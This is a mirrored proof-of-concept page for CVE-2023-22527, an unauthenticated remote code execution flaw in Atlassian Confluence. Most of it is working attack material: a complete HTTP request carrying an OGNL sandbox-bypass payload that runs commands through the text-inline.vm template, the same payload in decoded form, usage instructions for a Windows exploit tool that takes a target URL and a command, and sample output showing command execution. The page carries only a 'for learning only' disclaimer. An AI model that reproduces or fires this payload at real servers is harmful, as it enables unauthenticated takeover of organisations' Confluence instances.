CVE-2023-22527 PoC — Atlassian Confluence 安全漏洞

Source

https://github.com/C1ph3rX13/CVE-2023-22527

Associated Vulnerability

Title:Atlassian Confluence 安全漏洞 (CVE-2023-22527)
Description:A template injection vulnerability on older versions of Confluence Data Center and Server allows an unauthenticated attacker to achieve RCE on an affected instance. Customers using an affected version must take immediate action. Most recent supported versions of Confluence Data Center and Server are not affected by this vulnerability as it was ultimately mitigated during regular version updates. However, Atlassian recommends that customers take care to install the latest version to protect their instances from non-critical vulnerabilities outlined in Atlassian’s January Security Bulletin.

Description

Atlassian Confluence - Remote Code Execution (CVE-2023-22527)

Readme

# CVE-2023-22527
Atlassian Confluence - Remote Code Execution (CVE-2023-22527)

## Poc

```http
POST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Content-Type: application/x-www-form-urlencoded

label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))
```

[vulhub](https://github.com/vulhub/vulhub/blob/master/confluence/CVE-2023-22527/README.zh-cn.md) 提及的绕过方式

在Confluence 7.18.0版本后，官方开发者为其引入了`isSafeExpression`函数来限制执行恶意OGNL表达式。安全研究者[Alvaro Muñoz](https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/)分享了一种利用velocity模板中的`#request['.KEY_velocity.struts2.context'].internalGet('ognl').findValue(String, Object)`来获取无沙箱的OGNL对象并执行任意语句的绕过方法，完整并解码后的Payload如下：

```http
'+(#request['.KEY_velocity.struts2.context'].internalGet('ognl').findValue(@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"})),{}))+'
```

## Usage

```powershell
         ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗ ██████╗       ██████╗ ██████╗ ███████╗██████╗ ███████╗
        ██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗╚════██╗      ╚════██╗╚════██╗██╔════╝╚════██╗╚════██║
        ██║     ██║   ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝ █████╔╝█████╗ █████╔╝ █████╔╝███████╗ █████╔╝    ██╔╝
        ██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝  ╚═══██╗╚════╝██╔═══╝ ██╔═══╝ ╚════██║██╔═══╝    ██╔╝
        ╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗██████╔╝      ███████╗███████╗███████║███████╗   ██║
         ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝╚═════╝       ╚══════╝╚══════╝╚══════╝╚══════╝   ╚═╝

        @Auth: C1ph3rX13
        @Blog: https://c1ph3rx13.github.io
        @Note: Atlassian Confluence - Remote Code Execution (CVE-2023-22527)
        @Warn: 代码仅供学习使用，请勿用于其他用途

Usage of CVE-2023-22527.exe:
  -c string
        Command
  -p string
        Proxy Url
  -t string
        Target Url
```

## Run

```powershell
CVE-2023-22527.exe -t http://127.0.0.1:8090 -c "id"


         ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗ ██████╗       ██████╗ ██████╗ ███████╗██████╗ ███████╗
        ██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗╚════██╗      ╚════██╗╚════██╗██╔════╝╚════██╗╚════██║
        ██║     ██║   ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝ █████╔╝█████╗ █████╔╝ █████╔╝███████╗ █████╔╝    ██╔╝
        ██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝  ╚═══██╗╚════╝██╔═══╝ ██╔═══╝ ╚════██║██╔═══╝    ██╔╝
        ╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗██████╔╝      ███████╗███████╗███████║███████╗   ██║
         ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝╚═════╝       ╚══════╝╚══════╝╚══════╝╚══════╝   ╚═╝

        @Auth: C1ph3rX13
        @Blog: https://c1ph3rx13.github.io
        @Note: Atlassian Confluence - Remote Code Execution (CVE-2023-22527)
        @Warn: 代码仅供学习使用，请勿用于其他用途

2024-01-23 16:53:16 INFO [+] RCE Result: uid=2002(confluence) gid=2002(confluence) groups=2002(confluence),0(root)
```

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!